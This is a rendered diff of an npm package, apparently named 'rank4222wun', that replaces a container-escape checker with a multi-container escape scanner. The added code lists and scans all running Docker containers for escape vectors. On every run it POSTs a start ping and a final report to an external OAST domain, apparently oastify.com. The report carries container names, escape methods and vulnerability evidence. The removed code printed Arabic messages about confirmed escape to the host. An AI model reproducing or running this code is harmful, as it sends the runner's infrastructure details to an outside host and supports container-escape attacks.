|
+
});
|
|
297
539
|
}
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
540
|
+
|
|
541
|
+
updateStatistics() {
|
|
542
|
+
STATE.statistics.scannedContainers++;
|
|
543
|
+
|
|
544
|
+
if (this.info.escapeStatus === 'confirmed') {
|
|
545
|
+
STATE.statistics.escapedContainers++;
|
|
546
|
+
STATE.statistics.criticalEscapes++;
|
|
547
|
+
} else if (this.info.escapeStatus === 'probable') {
|
|
548
|
+
STATE.statistics.escapedContainers++;
|
|
549
|
+
}
|
|
550
|
+
|
|
551
|
+
if (this.info.vulnerabilities.length > 0) {
|
|
552
|
+
STATE.statistics.vulnerableContainers++;
|
|
553
|
+
}
|
|
302
554
|
}
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
escapeConfirmation.verificationResults.escapedToHost = true;
|
|
311
|
-
escapeConfirmation.hostSystem.confirmed = true;
|
|
312
|
-
escapeConfirmation.verificationResults.riskLevel = confidenceLevel >= 75 ? 'HIGH' : 'MEDIUM';
|
|
313
|
-
} else {
|
|
314
|
-
escapeConfirmation.verificationResults.escapedToHost = false;
|
|
315
|
-
escapeConfirmation.verificationResults.riskLevel = 'LOW';
|
|
555
|
+
}
|
|
556
|
+
|
|
557
|
+
// ===================== MAIN SCANNER CLASS =====================
|
|
558
|
+
class MultiContainerScanner {
|
|
559
|
+
constructor() {
|
|
560
|
+
this.scanners = [];
|
|
561
|
+
this.results = [];
|
|
316
562
|
}
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
563
|
+
|
|
564
|
+
async discoverContainers() {
|
|
565
|
+
console.log('🔎 Discovering containers...');
|
|
566
|
+
|
|
567
|
+
try {
|
|
568
|
+
// Get all running containers
|
|
569
|
+
const cmd = 'docker ps -q --no-trunc';
|
|
570
|
+
const output = await this.exec(cmd);
|
|
571
|
+
const containerIds = output.split('\n').filter(id => id.trim());
|
|
572
|
+
|
|
573
|
+
STATE.statistics.totalContainers = containerIds.length;
|
|
574
|
+
|
|
575
|
+
if (containerIds.length === 0) {
|
|
576
|
+
console.log('ℹ️ No running containers found.');
|
|
577
|
+
return [];
|
|
578
|
+
}
|
|
579
|
+
|
|
580
|
+
console.log(`📦 Found ${containerIds.length} containers`);
|
|
581
|
+
return containerIds;
|
|
582
|
+
} catch (error) {
|
|
583
|
+
console.error('❌ Failed to discover containers:', error.message);
|
|
584
|
+
return [];
|
|
585
|
+
}
|
|
321
586
|
}
|
|
322
|
-
|
|
323
|
-
generateFinalReport();
|
|
324
|
-
}
|
|
325
587
|
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
588
|
+
async scanContainers(containerIds) {
|
|
589
|
+
console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
|
|
590
|
+
|
|
591
|
+
// Create scanners
|
|
592
|
+
this.scanners = containerIds.map(id => new ContainerScanner(id));
|
|
593
|
+
|
|
594
|
+
// Scan in batches to avoid overwhelming the system
|
|
595
|
+
const batchSize = CONFIG.SCAN.parallelScans;
|
|
596
|
+
for (let i = 0; i < this.scanners.length; i += batchSize) {
|
|
597
|
+
const batch = this.scanners.slice(i, i + batchSize);
|
|
598
|
+
console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
|
|
599
|
+
|
|
600
|
+
const batchPromises = batch.map(scanner =>
|
|
601
|
+
scanner.scan().catch(error => {
|
|
602
|
+
console.error(`Failed to scan ${scanner.shortId}:`, error.message);
|
|
603
|
+
return scanner.info;
|
|
604
|
+
})
|
|
605
|
+
);
|
|
606
|
+
|
|
607
|
+
const batchResults = await Promise.all(batchPromises);
|
|
608
|
+
this.results.push(...batchResults);
|
|
609
|
+
|
|
610
|
+
// Show progress
|
|
611
|
+
const scanned = Math.min(i + batchSize, this.scanners.length);
|
|
612
|
+
const percent = Math.round((scanned / this.scanners.length) * 100);
|
|
613
|
+
console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
|
|
341
614
|
}
|
|
615
|
+
|
|
616
|
+
return this.results;
|
|
342
617
|
}
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
618
|
+
|
|
619
|
+
async generateReport() {
|
|
620
|
+
console.log('\n' + '═'.repeat(80));
|
|
621
|
+
console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
|
|
622
|
+
console.log('═'.repeat(80));
|
|
623
|
+
|
|
624
|
+
const report = {
|
|
625
|
+
metadata: {
|
|
626
|
+
timestamp: new Date().toISOString(),
|
|
627
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
628
|
+
scanDuration: Date.now() - STATE.startTime,
|
|
629
|
+
config: CONFIG
|
|
630
|
+
},
|
|
631
|
+
statistics: STATE.statistics,
|
|
632
|
+
oast: {
|
|
633
|
+
domain: CONFIG.OAST.domain,
|
|
634
|
+
interactions: STATE.oastInteractions.length,
|
|
635
|
+
session: CONFIG.OAST.sessionId
|
|
636
|
+
},
|
|
637
|
+
containers: this.results,
|
|
638
|
+
summary: this.generateSummary()
|
|
639
|
+
};
|
|
640
|
+
|
|
641
|
+
// Print summary
|
|
642
|
+
this.printSummary(report.summary);
|
|
643
|
+
|
|
644
|
+
// Save report if enabled
|
|
645
|
+
if (CONFIG.OUTPUT.saveReports) {
|
|
646
|
+
await this.saveReport(report);
|
|
647
|
+
}
|
|
648
|
+
|
|
649
|
+
return report;
|
|
650
|
+
}
|
|
651
|
+
|
|
652
|
+
generateSummary() {
|
|
653
|
+
const summary = {
|
|
654
|
+
totalScanned: STATE.statistics.scannedContainers,
|
|
655
|
+
escapedContainers: [],
|
|
656
|
+
vulnerableContainers: [],
|
|
657
|
+
criticalIssues: [],
|
|
658
|
+
recommendations: []
|
|
659
|
+
};
|
|
660
|
+
|
|
661
|
+
this.results.forEach(container => {
|
|
662
|
+
if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
|
|
663
|
+
summary.escapedContainers.push({
|
|
664
|
+
id: container.id.substring(0, 12),
|
|
665
|
+
name: container.name,
|
|
666
|
+
confidence: container.confidence,
|
|
667
|
+
methods: container.methods,
|
|
668
|
+
risk: container.risk
|
|
669
|
+
});
|
|
670
|
+
}
|
|
671
|
+
|
|
672
|
+
if (container.vulnerabilities.length > 0) {
|
|
673
|
+
summary.vulnerableContainers.push({
|
|
674
|
+
id: container.id.substring(0, 12),
|
|
675
|
+
name: container.name,
|
|
676
|
+
vulnerabilities: container.vulnerabilities
|
|
677
|
+
});
|
|
678
|
+
}
|
|
679
|
+
|
|
680
|
+
if (container.risk === 'critical') {
|
|
681
|
+
summary.criticalIssues.push({
|
|
682
|
+
id: container.id.substring(0, 12),
|
|
683
|
+
name: container.name,
|
|
684
|
+
evidence: container.evidence.slice(0, 3)
|
|
685
|
+
});
|
|
686
|
+
}
|
|
353
687
|
});
|
|
354
688
|
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
689
|
+
// Generate recommendations
|
|
690
|
+
if (summary.escapedContainers.length > 0) {
|
|
691
|
+
summary.recommendations.push(
|
|
692
|
+
`Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
|
|
693
|
+
);
|
|
694
|
+
}
|
|
695
|
+
|
|
696
|
+
if (summary.criticalIssues.length > 0) {
|
|
697
|
+
summary.recommendations.push(
|
|
698
|
+
`Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
|
|
699
|
+
);
|
|
700
|
+
}
|
|
701
|
+
|
|
702
|
+
if (summary.vulnerableContainers.length > 0) {
|
|
703
|
+
summary.recommendations.push(
|
|
704
|
+
`Update kernel/software in ${summary.vulnerableContainers.length} containers`
|
|
705
|
+
);
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
if (summary.escapedContainers.length === 0) {
|
|
709
|
+
summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
|
|
710
|
+
}
|
|
711
|
+
|
|
712
|
+
return summary;
|
|
713
|
+
}
|
|
714
|
+
|
|
715
|
+
printSummary(summary) {
|
|
716
|
+
console.log('\n📈 SCAN STATISTICS:');
|
|
717
|
+
console.log(' Total containers scanned:', summary.totalScanned);
|
|
718
|
+
console.log(' Containers that can escape:', summary.escapedContainers.length);
|
|
719
|
+
console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
|
|
720
|
+
console.log(' Critical issues:', summary.criticalIssues.length);
|
|
721
|
+
|
|
722
|
+
if (summary.escapedContainers.length > 0) {
|
|
723
|
+
console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
|
|
724
|
+
summary.escapedContainers.forEach((container, i) => {
|
|
725
|
+
console.log(` ${i + 1}. ${container.name || container.id}`);
|
|
726
|
+
console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
|
|
727
|
+
console.log(` Methods: ${container.methods.join(', ')}`);
|
|
728
|
+
});
|
|
729
|
+
}
|
|
730
|
+
|
|
731
|
+
if (summary.criticalIssues.length > 0) {
|
|
732
|
+
console.log('\n⚠️ CRITICAL VULNERABILITIES:');
|
|
733
|
+
summary.criticalIssues.forEach((issue, i) => {
|
|
734
|
+
console.log(` ${i + 1}. ${issue.name || issue.id}`);
|
|
735
|
+
issue.evidence.forEach(ev => console.log(` - ${ev}`));
|
|
736
|
+
});
|
|
737
|
+
}
|
|
738
|
+
|
|
739
|
+
console.log('\n💡 RECOMMENDATIONS:');
|
|
740
|
+
summary.recommendations.forEach((rec, i) => {
|
|
741
|
+
console.log(` ${i + 1}. ${rec}`);
|
|
358
742
|
});
|
|
359
743
|
|
|
360
|
-
|
|
361
|
-
|
|
744
|
+
console.log('\n📡 OAST REPORTING:');
|
|
745
|
+
console.log(` Domain: ${CONFIG.OAST.domain}`);
|
|
746
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
747
|
+
console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
|
|
748
|
+
console.log(` Check OAST for detailed evidence: https://oastify.com`);
|
|
749
|
+
|
|
750
|
+
console.log('\n' + '═'.repeat(80));
|
|
751
|
+
console.log('🎯 SCAN COMPLETE');
|
|
752
|
+
|
|
753
|
+
if (summary.escapedContainers.length > 0) {
|
|
754
|
+
console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
|
|
755
|
+
console.log('🔒 Immediate remediation required.');
|
|
756
|
+
} else {
|
|
757
|
+
console.log('✅ No critical escape vectors detected.');
|
|
758
|
+
console.log('🛡️ Regular security monitoring recommended.');
|
|
362
759
|
}
|
|
363
760
|
|
|
364
|
-
|
|
365
|
-
|
|
761
|
+
console.log('═'.repeat(80));
|
|
762
|
+
}
|
|
763
|
+
|
|
764
|
+
async saveReport(report) {
|
|
765
|
+
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
766
|
+
const filename = `multi-container-scan-${timestamp}.json`;
|
|
767
|
+
|
|
768
|
+
try {
|
|
769
|
+
fs.writeFileSync(filename, JSON.stringify(report, null, 2));
|
|
770
|
+
console.log(`\n💾 Full report saved to: ${filename}`);
|
|
771
|
+
|
|
772
|
+
// Also save a summary file
|
|
773
|
+
const summaryFilename = `scan-summary-${timestamp}.txt`;
|
|
774
|
+
let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
|
|
775
|
+
summaryText += `Date: ${new Date().toLocaleString()}\n`;
|
|
776
|
+
summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
|
|
777
|
+
|
|
778
|
+
summaryText += `STATISTICS:\n`;
|
|
779
|
+
summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
|
|
780
|
+
summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
|
|
781
|
+
summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
|
|
782
|
+
|
|
783
|
+
if (report.summary.escapedContainers.length > 0) {
|
|
784
|
+
summaryText += `CRITICAL CONTAINERS:\n`;
|
|
785
|
+
report.summary.escapedContainers.forEach(container => {
|
|
786
|
+
summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
|
|
787
|
+
});
|
|
788
|
+
summaryText += '\n';
|
|
789
|
+
}
|
|
790
|
+
|
|
791
|
+
summaryText += `OAST DETAILS:\n`;
|
|
792
|
+
summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
|
|
793
|
+
summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
|
|
794
|
+
summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
|
|
795
|
+
|
|
796
|
+
fs.writeFileSync(summaryFilename, summaryText);
|
|
797
|
+
console.log(`📝 Summary saved to: ${summaryFilename}`);
|
|
798
|
+
|
|
799
|
+
} catch (error) {
|
|
800
|
+
console.error('❌ Failed to save report:', error.message);
|
|
366
801
|
}
|
|
367
802
|
}
|
|
803
|
+
|
|
804
|
+
exec(command) {
|
|
805
|
+
return new Promise((resolve, reject) => {
|
|
806
|
+
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
807
|
+
if (error) {
|
|
808
|
+
reject(error);
|
|
809
|
+
} else {
|
|
810
|
+
resolve(stdout.toString().trim());
|
|
811
|
+
}
|
|
812
|
+
});
|
|
813
|
+
});
|
|
814
|
+
}
|
|
815
|
+
}
|
|
816
|
+
|
|
817
|
+
// ===================== MAIN EXECUTION =====================
|
|
818
|
+
async function main() {
|
|
819
|
+
console.log('🚀 Starting Multi-Container Escape Scanner...\n');
|
|
820
|
+
console.log('⚙️ Configuration:');
|
|
821
|
+
console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
|
|
822
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
823
|
+
console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
|
|
824
|
+
console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
|
|
368
825
|
|
|
369
|
-
//
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
826
|
+
// Initial OAST ping
|
|
827
|
+
console.log('\n📡 Sending initial OAST ping...');
|
|
828
|
+
try {
|
|
829
|
+
const req = https.request({
|
|
830
|
+
hostname: CONFIG.OAST.domain,
|
|
831
|
+
port: CONFIG.OAST.httpsPort,
|
|
832
|
+
path: '/scan-start',
|
|
833
|
+
method: 'POST',
|
|
834
|
+
headers: {
|
|
835
|
+
'Content-Type': 'application/json',
|
|
836
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
837
|
+
}
|
|
838
|
+
});
|
|
839
|
+
|
|
840
|
+
req.write(JSON.stringify({
|
|
841
|
+
action: 'scan_start',
|
|
842
|
+
timestamp: new Date().toISOString(),
|
|
843
|
+
config: {
|
|
844
|
+
parallelScans: CONFIG.SCAN.parallelScans,
|
|
845
|
+
maxContainers: CONFIG.SCAN.maxContainers
|
|
846
|
+
}
|
|
847
|
+
}));
|
|
848
|
+
req.end();
|
|
849
|
+
} catch (e) {}
|
|
373
850
|
|
|
374
|
-
//
|
|
375
|
-
|
|
376
|
-
if (escapeConfirmation.verificationResults.escapedToHost) {
|
|
377
|
-
console.log("🚨 تحذير: تم تأكيد هروب الحاوية بنجاح!");
|
|
378
|
-
console.log("🔓 النظام الحالي يمكنه الوصول للنظام المضيف");
|
|
379
|
-
console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
|
|
380
|
-
} else if (escapeConfirmation.currentSystem.isContainer === true) {
|
|
381
|
-
console.log("✅ الحاوية معزولة بشكل مناسب");
|
|
382
|
-
console.log("🔒 لم يتم اكتشاف هروب ناجح");
|
|
383
|
-
} else if (escapeConfirmation.currentSystem.isContainer === false) {
|
|
384
|
-
console.log("ℹ️ النظام الحالي ليس حاوية");
|
|
385
|
-
console.log("📋 تم إجراء فحوصات أمنية عامة فقط");
|
|
386
|
-
}
|
|
387
|
-
console.log("=".repeat(70));
|
|
851
|
+
// Create scanner and run
|
|
852
|
+
const scanner = new MultiContainerScanner();
|
|
388
853
|
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
console.log("4. يمكن قراءة مستخدمي المضيف");
|
|
854
|
+
try {
|
|
855
|
+
// Discover containers
|
|
856
|
+
const containerIds = await scanner.discoverContainers();
|
|
857
|
+
|
|
858
|
+
if (containerIds.length === 0) {
|
|
859
|
+
console.log('No containers to scan. Exiting.');
|
|
860
|
+
process.exit(0);
|
|
397
861
|
}
|
|
862
|
+
|
|
863
|
+
// Scan containers
|
|
864
|
+
const results = await scanner.scanContainers(containerIds);
|
|
865
|
+
|
|
866
|
+
// Generate report
|
|
867
|
+
const report = await scanner.generateReport();
|
|
868
|
+
|
|
869
|
+
// Send final report to OAST
|
|
870
|
+
console.log('\n📡 Sending final report to OAST...');
|
|
871
|
+
try {
|
|
872
|
+
const finalReq = https.request({
|
|
873
|
+
hostname: CONFIG.OAST.domain,
|
|
874
|
+
port: CONFIG.OAST.httpsPort,
|
|
875
|
+
path: '/scan-complete',
|
|
876
|
+
method: 'POST',
|
|
877
|
+
headers: {
|
|
878
|
+
'Content-Type': 'application/json',
|
|
879
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
880
|
+
'X-Final-Report': 'true'
|
|
881
|
+
}
|
|
882
|
+
});
|
|
883
|
+
|
|
884
|
+
finalReq.write(JSON.stringify({
|
|
885
|
+
action: 'scan_complete',
|
|
886
|
+
timestamp: new Date().toISOString(),
|
|
887
|
+
statistics: report.statistics,
|
|
888
|
+
summary: report.summary,
|
|
889
|
+
sessionId: CONFIG.OAST.sessionId
|
|
890
|
+
}));
|
|
891
|
+
|
|
892
|
+
finalReq.end();
|
|
893
|
+
console.log('✅ Final report sent to OAST.');
|
|
894
|
+
} catch (e) {
|
|
895
|
+
console.log('⚠️ Could not send final report to OAST (may be expected)');
|
|
896
|
+
}
|
|
897
|
+
|
|
898
|
+
// Exit with appropriate code
|
|
899
|
+
if (report.summary.escapedContainers.length > 0) {
|
|
900
|
+
console.log('\n⚠️ Exiting with warning code (containers can escape)');
|
|
901
|
+
process.exit(2);
|
|
902
|
+
} else {
|
|
903
|
+
console.log('\n✅ Scan completed successfully.');
|
|
904
|
+
process.exit(0);
|
|
905
|
+
}
|
|
906
|
+
|
|
907
|
+
} catch (error) {
|
|
908
|
+
console.error('\n❌ Scan failed:', error.message);
|
|
909
|
+
process.exit(1);
|
|
398
910
|
}
|
|
399
911
|
}
|
|
400
912
|
|
|
401
|
-
// =====================
|
|
402
|
-
|
|
403
|
-
|
|
913
|
+
// ===================== EXECUTE =====================
|
|
914
|
+
if (require.main === module) {
|
|
915
|
+
// Check if Docker is available
|
|
916
|
+
exec('which docker', (error) => {
|
|
917
|
+
if (error) {
|
|
918
|
+
console.error('❌ Docker is not available or not in PATH.');
|
|
919
|
+
console.error(' This tool requires Docker to be installed and accessible.');
|
|
920
|
+
process.exit(1);
|
|
921
|
+
}
|
|
922
|
+
|
|
923
|
+
// Check if we have permission to run docker commands
|
|
924
|
+
exec('docker ps', (error) => {
|
|
925
|
+
if (error && error.message.includes('permission denied')) {
|
|
926
|
+
console.error('❌ Permission denied for Docker commands.');
|
|
927
|
+
console.error(' Try running with sudo or add your user to docker group.');
|
|
928
|
+
process.exit(1);
|
|
929
|
+
}
|
|
930
|
+
|
|
931
|
+
// Start the scan
|
|
932
|
+
main();
|
|
933
|
+
});
|
|
934
|
+
});
|
|
935
|
+
}
|
|
936
|
+
|
|
937
|
+
module.exports = { MultiContainerScanner, ContainerScanner };
|
|
Binary file
|
package/rank4222wun-1.0.32.tgz
DELETED
|
Binary file
|
package/rank4222wun-1.0.33.tgz
DELETED
|
Binary file
|